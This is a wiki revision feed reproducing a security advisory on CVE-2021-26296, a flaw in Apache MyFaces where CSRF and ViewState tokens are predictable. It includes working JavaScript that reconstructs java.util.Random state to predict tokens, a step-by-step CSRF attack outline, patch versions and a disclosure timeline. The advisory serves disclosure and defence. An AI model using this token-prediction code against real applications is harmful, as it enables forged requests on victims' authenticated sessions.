<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2021-26296_Apache_MyFaces_2.x_%E8%B7%A8%E7%AB%99%E8%AB%8B%E6%B1%82%E5%81%BD%E9%80%A0%E6%BC%8F%E6%B4%9E</id>
	<title>CVE-2021-26296 Apache MyFaces 2.x 跨站請求偽造漏洞 - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2021-26296_Apache_MyFaces_2.x_%E8%B7%A8%E7%AB%99%E8%AB%8B%E6%B1%82%E5%81%BD%E9%80%A0%E6%BC%8F%E6%B4%9E"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2021-26296_Apache_MyFaces_2.x_%E8%B7%A8%E7%AB%99%E8%AB%8B%E6%B1%82%E5%81%BD%E9%80%A0%E6%BC%8F%E6%B4%9E&amp;action=history"/>
	<updated>2026-04-10T02:19:04Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=CVE-2021-26296_Apache_MyFaces_2.x_%E8%B7%A8%E7%AB%99%E8%AB%8B%E6%B1%82%E5%81%BD%E9%80%A0%E6%BC%8F%E6%B4%9E&amp;diff=3628&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;&lt;pre&gt; ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~                Ceritude Securiy Advisory - CSA-2021-001                   ~ ~ ~ ~ ~ ~ ~ ~...&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2021-26296_Apache_MyFaces_2.x_%E8%B7%A8%E7%AB%99%E8%AB%8B%E6%B1%82%E5%81%BD%E9%80%A0%E6%BC%8F%E6%B4%9E&amp;diff=3628&amp;oldid=prev"/>
		<updated>2021-05-30T02:49:37Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;&amp;lt;pre&amp;gt; ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~                Ceritude Securiy Advisory - CSA-2021-001                   ~ ~ ~ ~ ~ ~ ~ ~...&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;&amp;lt;pre&amp;gt;&lt;br /&gt;
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~&lt;br /&gt;
~                Ceritude Securiy Advisory - CSA-2021-001                   ~&lt;br /&gt;
~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~&lt;br /&gt;
 PRODUCT          : Apache MyFaces&lt;br /&gt;
 VENDOR           : The Apache Software Foundation&lt;br /&gt;
 SEVERITY         : High&lt;br /&gt;
 AFFECTED VERSION : &amp;lt;=2.2.13, &amp;lt;=2.3.7, &amp;lt;=2.3-next-M4, &amp;lt;=2.1 branches&lt;br /&gt;
 IDENTIFIERS      : CVE-2021-26296&lt;br /&gt;
 PATCH VERSION    : 2.2.14, 2.3.8, 2.3-next-M5, 3.0.0&lt;br /&gt;
 FOUND BY         : Wolfgang Ettlinger, Certitude Lab&lt;br /&gt;
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~&lt;br /&gt;
&lt;br /&gt;
Introduction&lt;br /&gt;
------------&lt;br /&gt;
&lt;br /&gt;
Apache MyFaces is an open-source implementation of JSF. During a quick&lt;br /&gt;
evaluation, Certitude found that the default CSRF protection of Apache MyFaces&lt;br /&gt;
was insufficient as the CSRF tokens the framework generates can be guessed by&lt;br /&gt;
an attacker.&lt;br /&gt;
&lt;br /&gt;
Moreover, the patch provided by the Apache MyFaces maintainers affects the way&lt;br /&gt;
channel tokens for websocket communication are generated. It is unclear,&lt;br /&gt;
whether this change fixes a vulnerability.&lt;br /&gt;
&lt;br /&gt;
Vulnerability Overview&lt;br /&gt;
----------------------&lt;br /&gt;
&lt;br /&gt;
Applications that employ the MyFaces JSF framework transmit a parameter&lt;br /&gt;
&amp;quot;javax.faces.ViewState&amp;quot; with every state-modifying request. Though not&lt;br /&gt;
intended for CSRF protection, in the default configuration this parameter&lt;br /&gt;
prevents trivial attacks, as it is sufficiently long and tied to a single&lt;br /&gt;
session.&lt;br /&gt;
&lt;br /&gt;
However, by default, this value is generated using the insecure random number&lt;br /&gt;
generator `java.util.Random`. An attacker can therefore obtain a ViewState&lt;br /&gt;
parameter from the application and, based on this value, predict the random&lt;br /&gt;
part of ViewState parameters subsequently issued to other users. Besides the&lt;br /&gt;
random string, the ViewState parameter contains a sequence number. As the&lt;br /&gt;
initial value of the per-session sequence counter is 1, an attacker can very&lt;br /&gt;
easily guess this value.&lt;br /&gt;
&lt;br /&gt;
As the ViewState parameter is the sole CSRF protection, knowledge of this&lt;br /&gt;
value allows an attacker to conduct CSRF attacks.&lt;br /&gt;
&lt;br /&gt;
When Apache MyFaces is used in client-side saving mode, the ViewState&lt;br /&gt;
parameter is insufficient to protect against CSRF. Instead, pages that require&lt;br /&gt;
protection against CSRF can be marked as &amp;quot;protected-pages&amp;quot;. For these pages,&lt;br /&gt;
Apache MyFaces requires CSRF token for each request (&amp;quot;javax.faces.Token&amp;quot;). By&lt;br /&gt;
default, the CSRF token too is generated using `java.util.Random`, thus&lt;br /&gt;
allowing an attacker to bypass the CSRF protection.&lt;br /&gt;
&lt;br /&gt;
NOTE: Besides the ViewState parameter and the CSRF token, Apache MyFaces also&lt;br /&gt;
introduced a cryptographically secure random number generator for the&lt;br /&gt;
websocket channel token. Certitude has not verified if this change fixes a&lt;br /&gt;
vulnerability.&lt;br /&gt;
&lt;br /&gt;
Proof of Concept&lt;br /&gt;
----------------&lt;br /&gt;
&lt;br /&gt;
By default, the class&lt;br /&gt;
`org.apache.myfaces.application.viewstate.RandomKeyFactory` is used to&lt;br /&gt;
generate ViewState parameter values. This class uses the method&lt;br /&gt;
`java.util.Random#nextBytes` as well as a per-session counter value to&lt;br /&gt;
generate ViewState strings.&lt;br /&gt;
&lt;br /&gt;
The following JavaScript snippet demonstrates the generation of the random&lt;br /&gt;
part of a ViewState value based on the random part of a previously issued&lt;br /&gt;
ViewState parameter:&lt;br /&gt;
&lt;br /&gt;
``` {.javascript}&lt;br /&gt;
const multiplier = 0x5DEECE66Dn;&lt;br /&gt;
const addend = 0xBn;&lt;br /&gt;
const mask = (1n &amp;lt;&amp;lt; 48n) - 1n;&lt;br /&gt;
&lt;br /&gt;
const unbyte = (bytes, offset) =&amp;gt; BigInt(&lt;br /&gt;
    Array.from(bytes.slice(offset, offset + 4))&lt;br /&gt;
    .map((b, i) =&amp;gt; b &amp;lt;&amp;lt; (8 * i))&lt;br /&gt;
    .reduce((a, b) =&amp;gt; a + b));&lt;br /&gt;
&lt;br /&gt;
const longify = n =&amp;gt; integer(n, 8n);&lt;br /&gt;
const intify = n =&amp;gt; integer(n, 4n);&lt;br /&gt;
const byteify = n =&amp;gt; integer(n, 1n);&lt;br /&gt;
&lt;br /&gt;
function integer(n, len) {&lt;br /&gt;
    const bits = len * 8n;&lt;br /&gt;
    const hspan = 1n &amp;lt;&amp;lt; (bits - 1n);&lt;br /&gt;
    return ((n + hspan) % (2n * hspan)) - hspan;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
const hexToByteArray = s =&amp;gt; (new Uint8Array(s.length / 2)&lt;br /&gt;
    .map((_, i) =&amp;gt; (&lt;br /&gt;
        parseInt(s.charAt(2 * i), 16) &amp;lt;&amp;lt; 4 |&lt;br /&gt;
        parseInt(s.charAt(2 * i + 1), 16))));&lt;br /&gt;
&lt;br /&gt;
const byteArrayToHex = b =&amp;gt; (Array.from(b)&lt;br /&gt;
    .map(x =&amp;gt; (((x + 0x100).toString(16)).substr(-2)))&lt;br /&gt;
    .reduce((a, b) =&amp;gt; a + b))&lt;br /&gt;
    .toUpperCase();&lt;br /&gt;
&lt;br /&gt;
// based on https://github.com/fta2012/ReplicatedRandom/blob/master/ReplicatedRandom.java&lt;br /&gt;
function replicatedRandom(bytes) {&lt;br /&gt;
    let seed = 0;&lt;br /&gt;
&lt;br /&gt;
    replicateState(&lt;br /&gt;
        unbyte(bytes, bytes.length - 8), 32n,&lt;br /&gt;
        unbyte(bytes, bytes.length - 4), 32n);&lt;br /&gt;
&lt;br /&gt;
    return nextBytes(bytes.length);&lt;br /&gt;
&lt;br /&gt;
    function replicateState(nextN, n, nextM, m) {&lt;br /&gt;
        const upperMOf48Mask = ((1n &amp;lt;&amp;lt; m) - 1n) &amp;lt;&amp;lt; (48n - m);&lt;br /&gt;
        const oldSeedUpperN = (nextN &amp;lt;&amp;lt; (48n - n)) &amp;amp; mask;&lt;br /&gt;
        const newSeedUpperM = (nextM &amp;lt;&amp;lt; (48n - m)) &amp;amp; mask;&lt;br /&gt;
&lt;br /&gt;
        let possibilityCount = 0;&lt;br /&gt;
&lt;br /&gt;
        for (let oldSeed = oldSeedUpperN;&lt;br /&gt;
                oldSeed &amp;lt;= (oldSeedUpperN | ((1n &amp;lt;&amp;lt; (48n - n)) - 1n));&lt;br /&gt;
                oldSeed++) {&lt;br /&gt;
            const newSeed = longify(&lt;br /&gt;
                longify(oldSeed * multiplier + addend) &amp;amp; mask);&lt;br /&gt;
&lt;br /&gt;
            if ((newSeed &amp;amp; upperMOf48Mask) == newSeedUpperM) {&lt;br /&gt;
                possibilityCount++;&lt;br /&gt;
                seed = newSeed;&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
&lt;br /&gt;
        if (possibilityCount != 1) throw new Error('replicateState failed');&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    function next(bits) {&lt;br /&gt;
        seed = longify(longify(seed * multiplier + addend) &amp;amp; mask);&lt;br /&gt;
        return intify(seed &amp;gt;&amp;gt; (48n - bits));&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    function nextBytes(count) {&lt;br /&gt;
        const res = new Int8Array(count);&lt;br /&gt;
&lt;br /&gt;
        for (let i = 0; i &amp;lt; count; ) {&lt;br /&gt;
            let rnd = next(32n);&lt;br /&gt;
            for (let n = Math.min(count - i, 4); n &amp;gt; 0; n--) {&lt;br /&gt;
                res[i++] = parseInt(byteify(rnd));&lt;br /&gt;
                rnd &amp;gt;&amp;gt;= 8n;&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
&lt;br /&gt;
        return res;&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
```&lt;br /&gt;
&lt;br /&gt;
An attacker can exploit this issue as follows:&lt;br /&gt;
&lt;br /&gt;
1.  An attacker lures an authenticated victim to an attacker-controlled&lt;br /&gt;
    website.&lt;br /&gt;
2.  As the victim opens the website, the attacker requests a ViewState value&lt;br /&gt;
    from the application.&lt;br /&gt;
3.  The exploit script opens the target JSF page e.g. in an iframe. For this&lt;br /&gt;
    page, the vulnerable application generates a new random ViewState value.&lt;br /&gt;
4.  The attacker now predicts a number of the random strings based on the&lt;br /&gt;
    ViewState value received in step 2. As the victim's ViewState value is&lt;br /&gt;
    generated just after the attacker's ViewState value, it is very likely,&lt;br /&gt;
    that the victim's ViewState value is among the generated ones.&lt;br /&gt;
5.  The exploit script sends several CSRF requests containing combinations of&lt;br /&gt;
    predicted random strings and sequence numbers. If guessed correctly, the&lt;br /&gt;
    vulnerable application accepts the attacker's request.&lt;br /&gt;
&lt;br /&gt;
A similar approach is possible to attack protected pages. Unlike the ViewState&lt;br /&gt;
values, the CSRF token generated, however, do not contain a sequence counter.&lt;br /&gt;
&lt;br /&gt;
Resolution&lt;br /&gt;
----------&lt;br /&gt;
&lt;br /&gt;
The Apache MyFaces maintainers have released a patch that addresses the&lt;br /&gt;
identified issue. Certitude recommends affected organizations to immediately&lt;br /&gt;
upgrade to version 2.2.14, 2.3.8, 2.3-next-M5 or 3.0.0. If an upgrade to the&lt;br /&gt;
latest version is not possible, the Apache MyFaces maintainers recommend&lt;br /&gt;
setting the following settings to &amp;quot;secureRandom&amp;quot;:&lt;br /&gt;
&lt;br /&gt;
-   org.apache.myfaces.RANDOM_KEY_IN_VIEW_STATE_SESSION_TOKEN&lt;br /&gt;
-   org.apache.myfaces.RANDOM_KEY_IN_CSRF_SESSION_TOKEN&lt;br /&gt;
-   org.apache.myfaces.RANDOM_KEY_IN_WEBSOCKET_SESSION_TOKEN&lt;br /&gt;
&lt;br /&gt;
Note that the patch introduces changes in the way websocket channel tokens are&lt;br /&gt;
generated. Certitude therefore recommends applying the patch or workaround to&lt;br /&gt;
all applications that use Apache MyFaces, even if CSRF attacks are of no&lt;br /&gt;
concern.&lt;br /&gt;
&lt;br /&gt;
Timeline&lt;br /&gt;
--------&lt;br /&gt;
&lt;br /&gt;
  ---------------------------------------------------------------------------&lt;br /&gt;
  Date         Text&lt;br /&gt;
  ------------ --------------------------------------------------------------&lt;br /&gt;
  2020-12-15   Sending encrypted vulnerability description and proof of&lt;br /&gt;
               concept script to the Apache security team&lt;br /&gt;
&lt;br /&gt;
  2020-12-15   Apache security team acknowledges receipt&lt;br /&gt;
&lt;br /&gt;
  2020-12-28   Apache MyFaces team member requests proof of concept script&lt;br /&gt;
&lt;br /&gt;
  2021-01-04   Asking for encrypted communication channel&lt;br /&gt;
&lt;br /&gt;
  2021-01-04   Vendor provides PGP key&lt;br /&gt;
&lt;br /&gt;
  2021-01-05   Sending encrypted proof of concept&lt;br /&gt;
&lt;br /&gt;
  2021-01-07   Vendor requests more information about the PoC&lt;br /&gt;
&lt;br /&gt;
  2021-01-08   Providing requested information&lt;br /&gt;
&lt;br /&gt;
  2021-01-19   Coordination call with vendor&lt;br /&gt;
&lt;br /&gt;
  2021-01-26   Coordination call with vendor&lt;br /&gt;
&lt;br /&gt;
  2021-02-02   Coordination call with vendor, release of patches is imminent&lt;br /&gt;
&lt;br /&gt;
  2021-02-09   Coordination call with vendor, 3 of 4 patches have been&lt;br /&gt;
               released&lt;br /&gt;
&lt;br /&gt;
  2021-02-15   Coordination call with vendor, last patch release is in&lt;br /&gt;
               progress&lt;br /&gt;
&lt;br /&gt;
  2021-02-19   Public release of the advisory&lt;br /&gt;
  ---------------------------------------------------------------------------&lt;br /&gt;
&lt;br /&gt;
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~&lt;br /&gt;
                                           (c) 2021 Certitude Consulting GmbH&lt;br /&gt;
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>